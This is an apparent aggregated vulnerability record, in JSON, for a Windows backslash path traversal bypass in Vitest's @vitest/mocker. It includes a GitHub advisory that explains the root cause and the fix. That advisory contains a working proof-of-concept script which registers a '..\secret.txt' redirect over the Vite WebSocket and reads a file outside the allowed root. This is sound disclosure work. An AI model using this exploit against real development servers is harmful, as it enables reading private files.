{"id":"GHSA-xp26-3454-mjgp","revision":null,"records":[{"revision":"d81011dfd4df4e3f91836afad7ef1dba","observedAt":"2026-10-28T15:46:50.301+00:00","statement":{"source":"cve-program","id":"CVE-2026-112950","aliases":[],"title":"Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix","description":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 4.1.11 until 4.1.12 and 5.0.3, isFileLoadingAllowed and the filesystem read interpret backslashes differently on Windows in packages/mocker/src/node/interceptorPlugin.ts. When a client can reach the Vite dev server on Windows and register a redirect mock containing backslash traversal, POSIX joining preserves a Windows backslash traversal that the later filesystem read interprets as a path separator, so the client can read a file outside server.fs.allow that the Vitest process can access. This issue is fixed in versions 4.1.12 and 5.0.3.","state":0,"publishedAt":"2026-10-20T15:21:32.396+00:00","modifiedAt":"2026-10-28T14:04:58.744+00:00","affected":[{"ecosystem":"Vendor product","name":"vitest","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"vitest-dev\",\n                    \"product\": \"vitest\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 4.1.11, < 4.1.12\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 5.0.0-rc.2, < 5.0.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"mocker","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"@vitest\",\n                    \"product\": \"mocker\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 4.1.11, < 4.1.12\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 5.0.0-rc.2, < 5.0.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp","https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35","https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473","https://github.com/vitest-dev/vitest/releases/tag/v4.1.12","https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-112950","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-112950","identifiers":["CVE-2026-112950"]},"retained":false,"historicalAffected":[]},{"revision":"a65b3e02ef8f422aa9eb13dfb0172976","observedAt":"2026-10-30T01:57:07.394+00:00","statement":{"source":"euvd","id":"EUVD-2026-105152","aliases":["CVE-2026-112950","GHSA-xp26-3454-mjgp"],"title":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 4.1.11 until 4.1.12 and 5.0.3, isFileLoadingAllowed and the filesystem read interpret backslashes differently on Windows in packages/mocker/src/node/inte…","description":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 4.1.11 until 4.1.12 and 5.0.3, isFileLoadingAllowed and the filesystem read interpret backslashes differently on Windows in packages/mocker/src/node/interceptorPlugin.ts. When a client can reach the Vite dev server on Windows and register a redirect mock containing backslash traversal, POSIX joining preserves a Windows backslash traversal that the later filesystem read interprets as a path separator, so the client can read a file outside server.fs.allow that the Vitest process can access. This issue is fixed in versions 4.1.12 and 5.0.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"severity":null}],"references":["https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp","https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35","https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473","https://github.com/vitest-dev/vitest/releases/tag/v4.1.12","https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-105152","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 20, 2026, 3:21:32 PM","dateUpdated":"Oct 28, 2026, 2:04:58 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-105152","identifiers":["EUVD-2026-105152","CVE-2026-112950","GHSA-xp26-3454-mjgp"]},"retained":false,"historicalAffected":[]},{"revision":"3f02f72dadc9426caf04badfd9670bfe","observedAt":"2026-10-29T05:48:28.56+00:00","statement":{"source":"nvd","id":"CVE-2026-112950","aliases":[],"title":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 4.1.11 until 4.1.12 and 5.0.3, isFileLoadingAllowed and the filesystem read interpret backslashes differently on Windows in packages/mocker/src/node/inte…","description":"Vitest is a Vite-native testing framework for JavaScript and TypeScript projects. From 4.1.11 until 4.1.12 and 5.0.3, isFileLoadingAllowed and the filesystem read interpret backslashes differently on Windows in packages/mocker/src/node/interceptorPlugin.ts. When a client can reach the Vite dev server on Windows and register a redirect mock containing backslash traversal, POSIX joining preserves a Windows backslash traversal that the later filesystem read interprets as a path separator, so the client can read a file outside server.fs.allow that the Vitest process can access. This issue is fixed in versions 4.1.12 and 5.0.3.","state":0,"publishedAt":"2026-10-20T16:17:05.807+00:00","modifiedAt":"2026-10-28T14:16:56.487+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35","https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473","https://github.com/vitest-dev/vitest/releases/tag/v4.1.12","https://github.com/vitest-dev/vitest/releases/tag/v5.0.3","https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112950","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-22"],"productCriteria":[],"sourceDates":{"published":"2026-10-20T16:17:05.807","lastModified":"2026-10-28T14:16:56.487"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-112950","identifiers":["CVE-2026-112950"]},"retained":false,"historicalAffected":[]},{"revision":"d6ec574846b64a1584b0f41053a1962a","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-xp26-3454-mjgp","aliases":["CVE-2026-112950"],"title":"Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix","description":"## Summary\n\nThe path traversal fix released for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) can be bypassed on Windows by using a backslash in the redirect URL pathname.\n\nThe fixed code joins an attacker-controlled URL pathname with the Vite root using `node:path/posix`, then passes that string to Vite's file allowlist check. On Windows, a value such as `C:/project/root/..\\secret.txt` retains `..\\` during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later `readFile()` call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.\n\nI reproduced the issue with the published `@vitest/mocker` packages in both fixed release lines:\n\n- `@vitest/mocker@4.1.11`\n- `@vitest/mocker@5.0.0`\n\nThe current `main` source at commit `2ce29d5fa758046e5453bd92b8ed6c9da9709bb5` has the same behavior.\n\n## Patches\n\nFixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so `..\\` resolves the same as `../` and the allowlist check rejects it.\n\n## Relationship to GHSA-82fw-gwwq-j7x9\n\nThis is a bypass of the accepted fix, not a separate unrelated path. It uses the same `vitest:interceptor:register` redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.\n\nThe original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:\n\n- `4.1.11`\n- `>=5.0.0-rc.2, <5.0.3`\n\nOlder affected releases remain covered by GHSA-82fw-gwwq-j7x9.\n\n## Root cause\n\n`packages/mocker/src/node/interceptorPlugin.ts` imports `join` from `node:path/posix`. Redirect registration currently performs the equivalent of:\n\n```ts\nconst redirect = join(server.config.root, redirectUrl.pathname)\nif (!isFileLoadingAllowed(server.config, redirect)) return\nevent.redirect = redirect\n```\n\nThe registered value later reaches:\n\n```ts\nreadFile(mock.redirect, 'utf-8')\n```\n\nVite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but `readFile` interprets them as separators. The check and the sink therefore interpret the same string differently.\n\nThe authenticated browser RPC fallback in `packages/browser/src/node/rpc.ts` is not affected: it joins the path with `pathe`, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.\n\n## Preconditions and impact\n\nA client that can reach a Vite server using the public `mockerPlugin` or standalone `interceptorPlugin` WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside `server.fs.allow` that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.\n\nThe reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.\n\n## Reproduction\n\nTested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling `secret.txt` containing a canary.\n\nInstall dependencies for either affected line:\n\n```console\nnpm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3\n# or\nnpm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3\nnode poc.mjs\n```\n\n`poc.mjs`:\n\n```js\nimport { mkdir, writeFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport { tmpdir } from 'node:os'\nimport { randomUUID } from 'node:crypto'\nimport { interceptorPlugin } from '@vitest/mocker/node'\nimport { createServer } from 'vite'\nimport { WebSocket } from 'ws'\n\nconst base = join(tmpdir(), `vitest-path-${randomUUID()}`)\nconst root = join(base, 'root')\nconst secret = join(base, 'secret.txt')\nawait mkdir(root, { recursive: true })\nawait writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')\n\nconst server = await createServer({\n  root,\n  configFile: false,\n  logLevel: 'silent',\n  server: { fs: { allow: [root] } },\n  plugins: [\n    {\n      name: 'validation:virtual-modules',\n      enforce: 'pre',\n      resolveId(id) {\n        if (id === '/control' || id === '/bypass') return id\n      },\n    },\n    interceptorPlugin(),\n  ],\n})\n\nawait server.listen()\nconst port = new URL(server.resolvedUrls.local[0]).port\nconst baseUrl = server.resolvedUrls.local[0]\n\nfunction register(id, redirect) {\n  return new Promise((resolve, reject) => {\n    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')\n    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)\n    socket.on('message', (raw) => {\n      let message\n      try { message = JSON.parse(raw.toString()) } catch { return }\n      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {\n        clearTimeout(timer)\n        socket.close()\n        resolve()\n      }\n    })\n    socket.on('open', () => socket.send(JSON.stringify({\n      type: 'custom',\n      event: 'vitest:interceptor:register',\n      data: { type: 'redirect', raw: '', id, url: id, redirect },\n    })))\n    socket.on('error', reject)\n  })\n}\n\ntry {\n  await register('/control', 'traversal:../secret.txt')\n  const controlResponse = await fetch(new URL('/control', baseUrl))\n  const controlBody = await controlResponse.text()\n\n  await register('/bypass', 'traversal:..\\\\secret.txt')\n  const bypassResponse = await fetch(new URL('/bypass', baseUrl))\n  const bypassBody = await bypassResponse.text()\n\n  const result = {\n    platform: process.platform,\n    root,\n    outsideFile: secret,\n    slashTraversalStatus: controlResponse.status,\n    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),\n    backslashTraversalStatus: bypassResponse.status,\n    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),\n    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,\n    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',\n  }\n  console.log(JSON.stringify(result, null, 2))\n  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked\n    ? !result.backslashTraversalReturnedOutsideCanary\n    : result.backslashTraversalReturnedOutsideCanary\n  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1\n} finally {\n  await server.close()\n}\n```\n\nObserved with `@vitest/mocker@4.1.11`:\n\n```json\n{\n  \"platform\": \"win32\",\n  \"slashTraversalStatus\": 404,\n  \"slashTraversalRejected\": true,\n  \"backslashTraversalStatus\": 200,\n  \"backslashTraversalReturnedOutsideCanary\": true,\n  \"returnedBody\": \"SYNTHETIC_OUTSIDE_ROOT_CANARY\",\n  \"expectedBackslashTraversalBlocked\": false\n}\n```\n\nThe same result was observed with `@vitest/mocker@5.0.0`.\n\nThis includes two useful controls:\n\n1. `traversal:../secret.txt` is rejected and returns 404, confirming the published forward-slash fix is active.\n2. `traversal:..\\secret.txt` returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.","state":0,"publishedAt":"2026-10-21T19:48:38+00:00","modifiedAt":"2026-10-21T20:01:41.0136494+00:00","affected":[{"ecosystem":"npm","name":"@vitest/mocker","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"4.1.11"},{"kind":"fixed","version":"4.1.12"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@vitest/mocker","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.0.0-rc.2"},{"kind":"fixed","version":"5.0.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp","https://nvd.nist.gov/vuln/detail/CVE-2026-112950","https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35","https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473","https://github.com/vitest-dev/vitest","https://github.com/vitest-dev/vitest/releases/tag/v4.1.12","https://github.com/vitest-dev/vitest/releases/tag/v5.0.3"],"sourceUrl":"https://github.com/advisories/GHSA-xp26-3454-mjgp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-xp26-3454-mjgp","identifiers":["GHSA-xp26-3454-mjgp","CVE-2026-112950"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-31T07:57:38.5116842+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-10-31T07:57:38.5116842+00:00","lastSuccessAt":"2026-10-31T07:57:38.6739729+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:38.6739739+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-9266d7b009bf9c4a0ccdcb5cbdea7f905cb3c4d92fd3b41581ece16b2cfdc4e7-96726b0429e12f7420216866e04292e25250b20c8e6290ae6ff1799519d62cd3","complete":true,"records":417534,"lastAttemptAt":"2026-10-31T07:57:37.9765891+00:00","lastSuccessAt":"2026-10-31T07:57:37.9373669+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:37.9765891+00:00","snapshotPublishedAt":"2026-10-31T07:26:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c5eb069e059248ab9c1b8cc754ce0885","complete":true,"records":13565,"lastAttemptAt":"2026-10-31T07:59:26.0749145+00:00","lastSuccessAt":"2026-10-31T03:47:38.206+00:00","error":null,"lastVerifiedAt":"2026-10-31T03:47:38.206+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-31T07:57:38.5116842+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-31T07:57:38.5116842+00:00","lastSuccessAt":"2026-10-31T07:57:38.6750663+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:38.6750666+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ea58f9c685fb45208f84e40f4ddb9154","complete":false,"records":13577,"lastAttemptAt":"2026-10-31T07:59:25.4673363+00:00","lastSuccessAt":"2026-10-31T07:59:25.464+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:59:25.464+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13547,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-10-31T07:57:38.3405761+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:38.3405761+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-31T07:57:38.1313492+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:38.1313492+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-10-31T07:57:38.4524705+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:38.4524705+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-3ce2e3336768d0abd5b020f6f12bd5502a5deb02700e9d89d279597dce6e72ae","complete":true,"records":230992,"lastAttemptAt":"2026-10-31T07:57:38.240628+00:00","lastSuccessAt":"2026-10-31T03:47:08.0119269+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:38.240628+00:00","snapshotPublishedAt":"2026-10-31T03:03:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}